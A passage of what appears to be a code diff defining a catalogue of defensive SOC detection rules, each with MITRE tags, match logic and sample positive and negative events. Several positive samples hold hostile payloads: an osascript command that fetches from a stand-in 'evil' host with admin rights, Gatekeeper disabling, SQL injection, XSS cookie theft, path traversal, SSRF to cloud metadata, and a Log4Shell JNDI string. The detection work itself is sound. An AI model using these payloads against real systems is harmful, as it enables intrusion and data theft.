["t1059.002"],+ "log_source": {"product": "macos", "service": "endpointsecurity"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "osascript", "command_line_contains_any": ["do shell script", "with administrator privileges", "tell application \"System Events\""]},+ "fp": ["Approved automation scripts (allowlist by hash)"],+ "playbook": "tpl-malware-execution",+ "positive": {"image_basename": "osascript", "command_line": "osascript -e 'do shell script \"curl http://evil/payload\" with administrator privileges'", "host": "mac-01"},+ "negative": {"image_basename": "osascript", "command_line": "osascript -e 'tell application \"Calendar\" to activate'", "host": "mac-01"},+ },+ {+ "slug": "macos-gatekeeper-disabled",+ "name": "macOS Gatekeeper Disabled",+ "severity": "high",+ "mitre": ["t1553.001"],+ "log_source": {"product": "macos", "service": "endpointsecurity"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "spctl", "command_line_contains_all": ["--master-disable"]},+ "fp": ["Developer machines testing notarization (allowlist hostname)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "spctl", "command_line": "spctl --master-disable", "host": "mac-01"},+ "negative": {"image_basename": "spctl", "command_line": "spctl --status", "host": "mac-01"},+ },+ {+ "slug": "macos-codesign-bypass",+ "name": "macOS Quarantine Attribute Stripped",+ "severity": "medium",+ "mitre": ["t1553.001"],+ "log_source": {"product": "macos", "service": "endpointsecurity"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename": "xattr", "command_line_contains_any": ["-d com.apple.quarantine", "-c"]},+ "fp": ["Developer build/test workflows (allowlist hostnames)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"image_basename": "xattr", "command_line": "xattr -d com.apple.quarantine /tmp/payload.app", "host": "mac-01"},+ "negative": {"image_basename": "xattr", "command_line": "xattr -l /tmp/file.zip", "host": "mac-01"},+ },+ # Misc (5)+ {+ "slug": "browser-extension-installed-suspicious",+ "name": "Browser Extension Installed Outside Allowlist",+ "severity": "medium",+ "mitre": ["t1176"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "command_line"},+ "match_when": {"image_basename_in": ["chrome.exe", "msedge.exe", "firefox.exe"], "command_line_contains": "--load-extension"},+ "fp": ["Developer dev-tools workflow"],+ "playbook": "tpl-account-anomaly",+ "positive": {"image_basename": "chrome.exe", "command_line": "chrome.exe --load-extension=C:\\Users\\Public\\evil-ext", "host": "wks-001"},+ "negative": {"image_basename": "chrome.exe", "command_line": "chrome.exe --new-tab", "host": "wks-001"},+ },+ {+ "slug": "usb-device-mass-storage-attached",+ "name": "USB Mass-Storage Device Attached to Restricted Host",+ "severity": "high",+ "mitre": ["t1052.001"],+ "log_source": {"product": "edr", "service": "device"},+ "fields": {"event_type", "device_class", "host_role"},+ "match_when": {"event_type": "DeviceConnect", "device_class": "USB-MassStorage", "host_role": "restricted"},+ "fp": ["IT-issued encrypted USB keys (allowlist by device serial)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "DeviceConnect", "device_class": "USB-MassStorage", "host_role": "restricted", "host": "finance-01"},+ "negative": {"event_type": "DeviceConnect", "device_class": "USB-Keyboard", "host_role": "restricted", "host": "finance-01"},+ },+ {+ "slug": "rmm-tool-install",+ "name": "Remote Management Tool Installed Outside Allowlist",+ "severity": "high",+ "mitre": ["t1219"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename"},+ "match_when": {"image_basename_in": ["AnyDesk.exe", "TeamViewer.exe", "ScreenConnect.ClientService.exe", "atera_agent.exe", "splashtop.exe"], "image_basename_in_allowlist": False},+ "fp": ["IT-managed remote support tools (allowlisted)"],+ "playbook": "tpl-malware-execution",+ "positive": {"image_basename": "AnyDesk.exe", "image_basename_in_allowlist": False, "host": "wks-001"},+ "negative": {"image_basename": "TeamViewer.exe", "image_basename_in_allowlist": True, "host": "wks-001"},+ },+ {+ "slug": "drivers-loaded-suspicious",+ "name": "Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)",+ "severity": "critical",+ "mitre": ["t1068"],+ "log_source": {"product": "edr", "service": "image-load"},+ "fields": {"event_type", "driver_hash_in_byovd_list"},+ "match_when": {"event_type": "DriverLoad", "driver_hash_in_byovd_list": True},+ "fp": ["Allowlist legitimate vulnerable drivers under controlled compatibility tag (rare)"],+ "playbook": "tpl-malware-execution",+ "positive": {"event_type": "DriverLoad", "driver_basename": "rentdrv2.sys", "driver_hash_in_byovd_list": True, "host": "wks-001"},+ "negative": {"event_type": "DriverLoad", "driver_basename": "ntoskrnl.exe", "driver_hash_in_byovd_list": False, "host": "wks-001"},+ },+ {+ "slug": "screen-capture-tool",+ "name": "Screen-Capture Tool Use on Sensitive Workstation",+ "severity": "medium",+ "mitre": ["t1113"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename", "host_role"},+ "match_when": {"image_basename_in": ["snippingtool.exe", "screenclippinghost.exe", "obs64.exe", "obs.exe"], "host_role": "sensitive"},+ "fp": ["Approved training-session recording (must be ticketed)"],+ "playbook": "tpl-data-exfil",+ "positive": {"image_basename": "obs64.exe", "host_role": "sensitive", "host": "finance-01"},+ "negative": {"image_basename": "snippingtool.exe", "host_role": "general", "host": "wks-001"},+ },+]++# =============================================================================+# NETWORK (30)+# =============================================================================+NETWORK: list[dict] = [+ {+ "slug": "c2-beacon-high-frequency",+ "name": "C2 Beacon Pattern (Periodic High-Frequency)",+ "description": "Detects highly periodic outbound network connections to a single destination, characteristic of command-and-control (C2) beaconing from implants. Combines both connection count and interval consistency to reduce false positives from telemetry agents.",+ "severity": "high",+ "mitre": ["t1071.001"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"connection_count", "destination_ip", "interval_seconds", "time_window_minutes"},+ "match_when": {"connection_count_gt": 50, "interval_consistency_gt": 0.85, "time_window_minutes_lt": 60},+ "fp": ["Telemetry / heartbeat agents to known endpoints (allowlist destination)"],+ "playbook": "tpl-c2",+ "positive": {"connection_count": 120, "destination_ip": "203.0.113.7", "interval_seconds": 30, "interval_consistency": 0.95, "time_window_minutes": 30},+ "negative": {"connection_count": 12, "destination_ip": "203.0.113.7", "interval_seconds": 30, "interval_consistency": 0.4, "time_window_minutes": 30},+ },+ {+ "slug": "dns-data-exfiltration",+ "name": "DNS Tunneling / Exfiltration (High Length Subdomains)",+ "description": "Detects DNS tunnelling activity characterised by abnormally long subdomain labels and high query volume to a single parent domain. Common technique for covert data exfiltration that bypasses egress filtering on standard ports.",+ "severity": "high",+ "mitre": ["t1048.003"],+ "log_source": {"product": "dns", "service": "query"},+ "fields": {"avg_subdomain_len", "query_count", "time_window_minutes"},+ "match_when": {"avg_subdomain_len_gt": 50, "query_count_gt": 100, "time_window_minutes_lt": 30},+ "fp": ["DNSSEC and large CDN providers (allowlist parent domain)"],+ "playbook": "tpl-data-exfil",+ "positive": {"avg_subdomain_len": 65, "query_count": 250, "time_window_minutes": 12, "parent_domain": "evil.tld", "src_host": "wks-001"},+ "negative": {"avg_subdomain_len": 18, "query_count": 30, "time_window_minutes": 60, "parent_domain": "google.com", "src_host": "wks-001"},+ },+ {+ "slug": "port-scan-internal",+ "name": "Internal Network Port Scan",+ "description": "Detects horizontal and vertical port scanning activity originating from inside the network. Often the first sign of an attacker performing reconnaissance after gaining initial foothold.",+ "severity": "high",+ "mitre": ["t1046"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"distinct_ports_per_src", "distinct_dst_per_src", "time_window_minutes"},+ "match_when": {"distinct_ports_per_src_gt": 50, "distinct_dst_per_src_gt": 25, "time_window_minutes_lt": 5},+ "fp": ["Vulnerability scanners (must be allowlisted)"],+ "playbook": "tpl-recon",+ "positive": {"distinct_ports_per_src": 200, "distinct_dst_per_src": 50, "time_window_minutes": 4, "src_ip": "10.0.5.7"},+ "negative": {"distinct_ports_per_src": 3, "distinct_dst_per_src": 1, "time_window_minutes": 60, "src_ip": "10.0.5.7"},+ },+ {+ "slug": "ssh-failed-from-internet",+ "name": "SSH Brute-Force From Internet",+ "severity": "high",+ "mitre": ["t1110.001"],+ "log_source": {"product": "linux", "service": "auth"},+ "fields": {"event_type", "outcome", "src_ip_class", "fail_count", "time_window_minutes"},+ "match_when": {"event_type": "ssh-reject", "outcome": "FAILURE", "src_ip_class": "internet", "fail_count_gt": 30, "time_window_minutes_lt": 10},+ "fp": ["Misconfigured monitoring agent looping (rare)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "ssh-reject", "outcome": "FAILURE", "src_ip_class": "internet", "fail_count": 200, "time_window_minutes": 5, "src_ip": "203.0.113.7"},+ "negative": {"event_type": "ssh-accept", "outcome": "SUCCESS", "src_ip_class": "internal", "fail_count": 1, "time_window_minutes": 60, "src_ip": "10.0.5.7"},+ },+ {+ "slug": "smb-lateral-movement",+ "name": "SMB Lateral Movement (Many ADMIN$ Connections)",+ "severity": "high",+ "mitre": ["t1021.002"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "share_name", "distinct_dst_per_src", "time_window_minutes"},+ "match_when": {"event_id": 5145, "share_name_in": ["ADMIN$", "C$"], "distinct_dst_per_src_gt": 5, "time_window_minutes_lt": 10},+ "fp": ["Vulnerability scanners (must be allowlisted)"],+ "playbook": "tpl-lateral-movement",+ "positive": {"event_id": 5145, "share_name": "ADMIN$", "distinct_dst_per_src": 12, "time_window_minutes": 6, "src": "[email protected]"},+ "negative": {"event_id": 5145, "share_name": "Public", "distinct_dst_per_src": 1, "time_window_minutes": 60, "src": "[email protected]"},+ },+ {+ "slug": "rdp-from-internet",+ "name": "RDP From Internet to Internal Host",+ "severity": "critical",+ "mitre": ["t1133"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"src_ip_class", "dst_port", "dst_ip_class"},+ "match_when": {"src_ip_class": "internet", "dst_port": 3389, "dst_ip_class": "internal"},+ "fp": ["Approved jump-host (must be allowlisted)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"src_ip_class": "internet", "dst_port": 3389, "dst_ip_class": "internal", "src_ip": "203.0.113.7", "dst_ip": "10.0.5.7"},+ "negative": {"src_ip_class": "internet", "dst_port": 443, "dst_ip_class": "internal", "src_ip": "203.0.113.7", "dst_ip": "10.0.5.7"},+ },+ {+ "slug": "tor-traffic",+ "name": "Outbound Connection to Known Tor Exit",+ "severity": "high",+ "mitre": ["t1090.003"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"dst_ip_in_tor_list"},+ "match_when": {"dst_ip_in_tor_list": True},+ "fp": ["Researcher / red team workstation (allowlist src)"],+ "playbook": "tpl-c2",+ "positive": {"dst_ip_in_tor_list": True, "src_host": "wks-001", "dst_ip": "185.220.101.5"},+ "negative": {"dst_ip_in_tor_list": False, "src_host": "wks-001", "dst_ip": "1.1.1.1"},+ },+ {+ "slug": "newly-registered-domain-traffic",+ "name": "Outbound HTTP(S) to Newly Registered Domain",+ "severity": "medium",+ "mitre": ["t1071.001"],+ "log_source": {"product": "proxy", "service": "http"},+ "fields": {"domain_age_days", "method"},+ "match_when": {"domain_age_days_lt": 7, "method_in": ["GET", "POST", "CONNECT"]},+ "fp": ["Marketing campaigns and event-specific landing pages"],+ "playbook": "tpl-c2",+ "positive": {"domain_age_days": 2, "method": "POST", "host": "wks-001", "domain": "evil-newdom.tld"},+ "negative": {"domain_age_days": 365, "method": "GET", "host": "wks-001", "domain": "google.com"},+ },+ {+ "slug": "dns-fast-flux",+ "name": "DNS Fast-Flux (Many Distinct A-Records / Short TTL)",+ "severity": "high",+ "mitre": ["t1568.001"],+ "log_source": {"product": "dns", "service": "query"},+ "fields": {"distinct_a_records", "ttl_seconds", "time_window_hours"},+ "match_when": {"distinct_a_records_gt": 30, "ttl_seconds_lt": 60, "time_window_hours_lt": 1},+ "fp": ["Large CDNs (allowlist parent zone)"],+ "playbook": "tpl-c2",+ "positive": {"distinct_a_records": 80, "ttl_seconds": 30, "time_window_hours": 0.5, "domain": "evil.tld"},+ "negative": {"distinct_a_records": 4, "ttl_seconds": 300, "time_window_hours": 24, "domain": "company-cdn.tld"},+ },+ {+ "slug": "smb-signing-disabled-auth",+ "name": "SMB Authentication Without Signing",+ "severity": "medium",+ "mitre": ["t1557.001"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "smb_signing_enabled"},+ "match_when": {"event_id": 5158, "smb_signing_enabled": False},+ "fp": ["Legacy hosts (host_role=legacy tag) pending decommission"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 5158, "smb_signing_enabled": False, "src_ip": "10.0.5.7", "dst_ip": "10.0.5.10"},+ "negative": {"event_id": 5158, "smb_signing_enabled": True, "src_ip": "10.0.5.7", "dst_ip": "10.0.5.10"},+ },+ {+ "slug": "dhcp-rogue-server",+ "name": "Rogue DHCP Server Detected on LAN",+ "severity": "high",+ "mitre": ["t1557"],+ "log_source": {"product": "ndr", "service": "dhcp"},+ "fields": {"event_type", "src_mac_in_allowed_dhcp"},+ "match_when": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": False},+ "fp": ["Approved network changes / new server bring-up (must be ticketed)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": False, "src_mac": "aa:bb:cc:dd:ee:ff"},+ "negative": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": True, "src_mac": "00:11:22:33:44:55"},+ },+ {+ "slug": "icmp-tunnel",+ "name": "ICMP Tunneling Pattern (Large Payloads)",+ "severity": "high",+ "mitre": ["t1095"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "avg_payload_bytes", "packet_count", "time_window_minutes"},+ "match_when": {"protocol": "ICMP", "avg_payload_bytes_gt": 512, "packet_count_gt": 500, "time_window_minutes_lt": 30},+ "fp": ["Network monitoring with large MTU echo (rare; allowlist)"],+ "playbook": "tpl-c2",+ "positive": {"protocol": "ICMP", "avg_payload_bytes": 1200, "packet_count": 2000, "time_window_minutes": 12, "src_host": "wks-001"},+ "negative": {"protocol": "ICMP", "avg_payload_bytes": 32, "packet_count": 10, "time_window_minutes": 60, "src_host": "wks-001"},+ },+ {+ "slug": "tls-self-signed-cert-conn",+ "name": "Outbound TLS to Server with Self-Signed Cert (Non-Allowed)",+ "severity": "medium",+ "mitre": ["t1573.002"],+ "log_source": {"product": "ndr", "service": "tls"},+ "fields": {"tls_cert_self_signed", "dst_in_allowlist"},+ "match_when": {"tls_cert_self_signed": True, "dst_in_allowlist": False},+ "fp": ["Internal services with self-signed certs by design (allowlist)"],+ "playbook": "tpl-c2",+ "positive": {"tls_cert_self_signed": True, "dst_in_allowlist": False, "dst_ip": "203.0.113.7", "src_host": "wks-001"},+ "negative": {"tls_cert_self_signed": True, "dst_in_allowlist": True, "dst_ip": "10.0.5.7", "src_host": "wks-001"},+ },+ {+ "slug": "tls-ja3-anomaly",+ "name": "TLS JA3 Hash in Threat-Intel Match",+ "severity": "high",+ "mitre": ["t1071.001"],+ "log_source": {"product": "ndr", "service": "tls"},+ "fields": {"ja3_hash_in_threat_intel"},+ "match_when": {"ja3_hash_in_threat_intel": True},+ "fp": ["TI false-positives - retire JA3 hash via tuning workflow"],+ "playbook": "tpl-c2",+ "positive": {"ja3_hash_in_threat_intel": True, "ja3_hash": "abc123badjA3", "src_host": "wks-001"},+ "negative": {"ja3_hash_in_threat_intel": False, "ja3_hash": "good-jA3", "src_host": "wks-001"},+ },+ {+ "slug": "egress-to-rare-asn",+ "name": "Outbound Traffic to Rare/Suspicious ASN",+ "severity": "medium",+ "mitre": ["t1071.001"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"dst_asn_seen_count", "time_window_days"},+ "match_when": {"dst_asn_seen_count_lt": 5, "time_window_days_gt": 30},+ "fp": ["First-time use of legitimate hosting providers (must investigate)"],+ "playbook": "tpl-c2",+ "positive": {"dst_asn_seen_count": 1, "time_window_days": 90, "dst_asn": "AS999999", "src_host": "wks-001"},+ "negative": {"dst_asn_seen_count": 5000, "time_window_days": 90, "dst_asn": "AS15169", "src_host": "wks-001"},+ },+ {+ "slug": "smb-null-session",+ "name": "SMB Null Session Attempt",+ "severity": "medium",+ "mitre": ["t1135"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "logon_type", "user", "auth_package"},+ "match_when": {"event_id": 4624, "logon_type": 3, "user": "ANONYMOUS LOGON"},+ "fp": ["Legacy applications relying on null sessions (decommission ticketed)"],+ "playbook": "tpl-recon",+ "positive": {"event_id": 4624, "logon_type": 3, "user": "ANONYMOUS LOGON", "auth_package": "NTLM", "src_ip": "203.0.113.7"},+ "negative": {"event_id": 4624, "logon_type": 3, "user": "[email protected]", "auth_package": "Kerberos", "src_ip": "10.0.5.7"},+ },+ {+ "slug": "ldap-bind-anomaly",+ "name": "LDAP Bind from Workstation to Domain Controller (Excessive)",+ "severity": "medium",+ "mitre": ["t1087.002"],+ "log_source": {"product": "windows", "service": "directory-service"},+ "fields": {"event_id", "ldap_query_count_per_src", "time_window_minutes"},+ "match_when": {"event_id": 1644, "ldap_query_count_per_src_gt": 200, "time_window_minutes_lt": 5},+ "fp": ["Legitimate identity-management tooling (allowlist principal)"],+ "playbook": "tpl-recon",+ "positive": {"event_id": 1644, "ldap_query_count_per_src": 500, "time_window_minutes": 3, "src_host": "wks-001"},+ "negative": {"event_id": 1644, "ldap_query_count_per_src": 8, "time_window_minutes": 60, "src_host": "wks-001"},+ },+ {+ "slug": "snmp-public-community-internet",+ "name": "SNMP Public Community String Probe From Internet",+ "severity": "medium",+ "mitre": ["t1190"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "src_port", "dst_port", "src_ip_class", "snmp_community"},+ "match_when": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internet", "snmp_community_in": ["public", "private"]},+ "fp": ["Misconfigured legacy device (decommission ticketed)"],+ "playbook": "tpl-recon",+ "positive": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internet", "snmp_community": "public", "src_ip": "203.0.113.7"},+ "negative": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internal", "snmp_community": "secured-string", "src_ip": "10.0.5.7"},+ },+ {+ "slug": "ddos-syn-flood",+ "name": "SYN Flood Pattern Against Public Endpoint",+ "severity": "high",+ "mitre": ["t1498.001"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"tcp_flag", "syn_count_per_dst", "time_window_minutes"},+ "match_when": {"tcp_flag": "SYN", "syn_count_per_dst_gt": 5000, "time_window_minutes_lt": 1},+ "fp": ["Legitimate burst (e.g., product launch)"],+ "playbook": "tpl-ddos",+ "positive": {"tcp_flag": "SYN", "syn_count_per_dst": 60000, "time_window_minutes": 0.5, "dst_ip": "203.0.113.10"},+ "negative": {"tcp_flag": "SYN", "syn_count_per_dst": 30, "time_window_minutes": 60, "dst_ip": "203.0.113.10"},+ },+ {+ "slug": "egress-to-blocklisted-ip",+ "name": "Outbound Connection to Threat-Intel-Blocked IP",+ "severity": "high",+ "mitre": ["t1071.001"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"dst_in_blocklist"},+ "match_when": {"dst_in_blocklist": True},+ "fp": ["TI false-positives (retire IP via tuning)"],+ "playbook": "tpl-c2",+ "positive": {"dst_in_blocklist": True, "dst_ip": "203.0.113.7", "src_host": "wks-001"},+ "negative": {"dst_in_blocklist": False, "dst_ip": "1.1.1.1", "src_host": "wks-001"},+ },+ {+ "slug": "internal-host-spamming-mail",+ "name": "Internal Host Spamming SMTP",+ "severity": "high",+ "mitre": ["t1566"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "dst_port", "smtp_count_per_src", "time_window_minutes"},+ "match_when": {"protocol": "TCP", "dst_port_in": [25, 465, 587], "smtp_count_per_src_gt": 200, "time_window_minutes_lt": 10},+ "fp": ["Approved bulk mailers (allowlisted source)"],+ "playbook": "tpl-malware-execution",+ "positive": {"protocol": "TCP", "dst_port": 25, "smtp_count_per_src": 800, "time_window_minutes": 5, "src_host": "wks-001"},+ "negative": {"protocol": "TCP", "dst_port": 25, "smtp_count_per_src": 8, "time_window_minutes": 60, "src_host": "marketing-mailer"},+ },+ {+ "slug": "rdp-screen-takeover",+ "name": "RDP Logon Session With Concurrent Active Console Session",+ "severity": "medium",+ "mitre": ["t1021.001"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "logon_type", "concurrent_console_session"},+ "match_when": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": True},+ "fp": ["IT helpdesk shadow sessions (must be ticketed)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": True, "host": "wks-001"},+ "negative": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": False, "host": "wks-001"},+ },+ {+ "slug": "ipv6-tunnel-outbound",+ "name": "Outbound IPv6 Teredo / 6to4 Tunneling Traffic",+ "severity": "medium",+ "mitre": ["t1572"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "dst_port"},+ "match_when": {"protocol": "UDP", "dst_port_in": [3544, 41]},+ "fp": ["Legacy IPv6 transition mechanisms (allowlist host)"],+ "playbook": "tpl-c2",+ "positive": {"protocol": "UDP", "dst_port": 3544, "src_host": "wks-001"},+ "negative": {"protocol": "UDP", "dst_port": 53, "src_host": "wks-001"},+ },+ {+ "slug": "dns-over-https-rare",+ "name": "DNS-over-HTTPS to Non-Approved Resolver",+ "severity": "medium",+ "mitre": ["t1071.004"],+ "log_source": {"product": "proxy", "service": "http"},+ "fields": {"dst_in_doh_allowlist", "method", "url_path"},+ "match_when": {"dst_in_doh_allowlist": False, "method_in": ["POST", "GET"], "url_path_endswith": "/dns-query"},+ "fp": ["Approved DoH providers (allowlist by hostname)"],+ "playbook": "tpl-c2",+ "positive": {"dst_in_doh_allowlist": False, "method": "POST", "url_path": "/dns-query", "dst_host": "evil.tld", "src_host": "wks-001"},+ "negative": {"dst_in_doh_allowlist": True, "method": "POST", "url_path": "/dns-query", "dst_host": "1.1.1.1", "src_host": "wks-001"},+ },+ {+ "slug": "ftp-outbound-anomaly",+ "name": "Outbound FTP Bulk Transfer From Non-Allowlisted Host",+ "severity": "medium",+ "mitre": ["t1048.003"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "dst_port", "bytes_out", "src_in_allowlist"},+ "match_when": {"protocol": "TCP", "dst_port_in": [21, 990], "bytes_out_gt": 50_000_000, "src_in_allowlist": False},+ "fp": ["Approved B2B file-exchange hosts (allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"protocol": "TCP", "dst_port": 21, "bytes_out": 200_000_000, "src_in_allowlist": False, "src_host": "wks-001"},+ "negative": {"protocol": "TCP", "dst_port": 21, "bytes_out": 50_000, "src_in_allowlist": True, "src_host": "filexfer-01"},+ },+ {+ "slug": "outbound-clear-text-protocol",+ "name": "Outbound Clear-Text Protocol Carrying Credentials",+ "severity": "medium",+ "mitre": ["t1040"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "dst_port"},+ "match_when": {"protocol": "TCP", "dst_port_in": [23, 21, 110, 143]},+ "fp": ["Legacy systems pending decommission (host_role=legacy tag)"],+ "playbook": "tpl-account-compromise",+ "positive": {"protocol": "TCP", "dst_port": 23, "dst_ip": "203.0.113.7", "src_host": "wks-001"},+ "negative": {"protocol": "TCP", "dst_port": 22, "dst_ip": "203.0.113.7", "src_host": "wks-001"},+ },+ {+ "slug": "ntp-amplification",+ "name": "NTP Amplification Reflector Attack (Inbound monlist)",+ "severity": "high",+ "mitre": ["t1498.002"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol", "src_port", "dst_port", "ntp_command", "src_ip_class"},+ "match_when": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "monlist", "src_ip_class": "internet"},+ "fp": ["Legacy NTP misconfiguration (must be patched)"],+ "playbook": "tpl-ddos",+ "positive": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "monlist", "src_ip_class": "internet", "src_ip": "203.0.113.7"},+ "negative": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "version", "src_ip_class": "internal", "src_ip": "10.0.5.7"},+ },+ {+ "slug": "p2p-protocol-on-corp-net",+ "name": "Peer-to-Peer Protocol on Corporate Network",+ "severity": "low",+ "mitre": ["t1071"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"protocol_app"},+ "match_when": {"protocol_app_in": ["bittorrent", "edonkey", "gnutella"]},+ "fp": ["Engineering download of OSS images via torrent (allowlist hosts)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"protocol_app": "bittorrent", "src_host": "wks-001"},+ "negative": {"protocol_app": "https", "src_host": "wks-001"},+ },+ {+ "slug": "kerberos-encryption-downgrade",+ "name": "Kerberos Encryption Downgrade to RC4",+ "severity": "medium",+ "mitre": ["t1558.003"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "ticket_encryption"},+ "match_when": {"event_id": 4768, "ticket_encryption_in": ["RC4-HMAC", "0x17"]},+ "fp": ["Legacy applications requiring RC4 (host_role=legacy tag)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_id": 4768, "ticket_encryption": "RC4-HMAC", "user": "[email protected]"},+ "negative": {"event_id": 4768, "ticket_encryption": "AES256-CTS-HMAC-SHA1-96", "user": "[email protected]"},+ },+ {+ "slug": "wmi-remote-execution",+ "name": "WMI Remote Process Creation From Workstation",+ "severity": "high",+ "mitre": ["t1047", "t1021.006"],+ "log_source": {"product": "windows", "service": "security"},+ "fields": {"event_id", "operation_type", "src_role"},+ "match_when": {"event_id": 4688, "process_command_line_contains_any": ["wmic /node:", "Invoke-WmiMethod -ComputerName"], "src_role": "workstation"},+ "fp": ["Approved admin scripting (allowlist users)"],+ "playbook": "tpl-lateral-movement",+ "positive": {"event_id": 4688, "process_command_line": "wmic /node:srv01 process call create cmd.exe", "src_role": "workstation", "src_host": "wks-001"},+ "negative": {"event_id": 4688, "process_command_line": "wmic process list", "src_role": "server", "src_host": "srv-01"},+ },+]++# =============================================================================+# APPLICATION (30)+# =============================================================================+APPLICATION: list[dict] = [+ {+ "slug": "sql-injection-attempt",+ "name": "SQL Injection Attempt in HTTP Query",+ "description": "Detects HTTP requests containing common SQL injection payload patterns in query strings or POST bodies. Strong indicator of automated probing or active exploitation against web applications.",+ "severity": "high",+ "mitre": ["t1190"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "request_body"},+ "match_when": {"request_uri_pattern_match_any": ["UNION SELECT", "OR '1'='1", "; DROP TABLE", "1=1--", "sleep\\(", "benchmark\\("]},+ "fp": ["Security-research / pen-test traffic (allowlist src)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/products?id=1' UNION SELECT username,password FROM users--", "host": "store.corp.com"},+ "negative": {"request_uri": "/products?id=42", "host": "store.corp.com"},+ },+ {+ "slug": "xss-attempt",+ "name": "Cross-Site Scripting Attempt",+ "severity": "high",+ "mitre": ["t1190"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "request_body"},+ "match_when": {"request_uri_pattern_match_any": ["<script>", "javascript:", "onerror=", "<svg/onload=", "document.cookie"]},+ "fp": ["Encoded HTML in legitimate CMS posts (encode-on-output)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/search?q=<script>alert(document.cookie)</script>", "host": "store.corp.com"},+ "negative": {"request_uri": "/search?q=hello", "host": "store.corp.com"},+ },+ {+ "slug": "path-traversal",+ "name": "Path Traversal Attempt in HTTP Request",+ "severity": "high",+ "mitre": ["t1083"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri"},+ "match_when": {"request_uri_pattern_match_any": ["\\.\\./", "\\.\\.\\\\", "%2e%2e%2f", "%2e%2e/", "\\.\\.%2f"]},+ "fp": ["URL-encoded characters in legitimate parameters (rare)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/files?name=../../../../etc/passwd", "host": "app.corp.com"},+ "negative": {"request_uri": "/files?name=invoice-2026.pdf", "host": "app.corp.com"},+ },+ {+ "slug": "ssrf-attempt",+ "name": "SSRF Attempt to Cloud Metadata Endpoint",+ "severity": "critical",+ "mitre": ["t1190", "t1212"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "request_body"},+ "match_when": {"request_uri_pattern_match_any": ["169\\.254\\.169\\.254", "metadata\\.google\\.internal", "metadata\\.azure\\.com", "127\\.0\\.0\\.1:80"]},+ "fp": ["Allowlisted internal metadata-style apps (rare)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/proxy?url=http://169.254.169.254/latest/meta-data/", "host": "app.corp.com"},+ "negative": {"request_uri": "/proxy?url=http://example.com/", "host": "app.corp.com"},+ },+ {+ "slug": "log4shell",+ "name": "Log4Shell JNDI Pattern in HTTP Header",+ "severity": "critical",+ "mitre": ["t1190"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"header_value"},+ "match_when": {"header_value_pattern_match_any": ["\\$\\{jndi:ldap:", "\\$\\{jndi:dns:", "\\$\\{jndi:rmi:"]},+ "fp": ["Internal canary strings used for log4j detection (allowlist src)"],+ "playbook": "tpl-webattack",+ "positive": {"header_value": "${jndi:ldap://evil.tld/x}", "host": "app.corp.com"},+ "negative": {"header_value": "Mozilla/5.0", "host": "app.corp.com"},+ },+ {+ "slug": "webshell-upload",+ "name": "Webshell File Upload Pattern",+ "severity": "critical",+ "mitre": ["t1505.003"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"method", "request_uri", "file_extension"},+ "match_when": {"method_in": ["POST", "PUT"], "file_extension_in": [".jsp", ".php", ".asp", ".aspx"], "request_uri_contains_any": ["/upload", 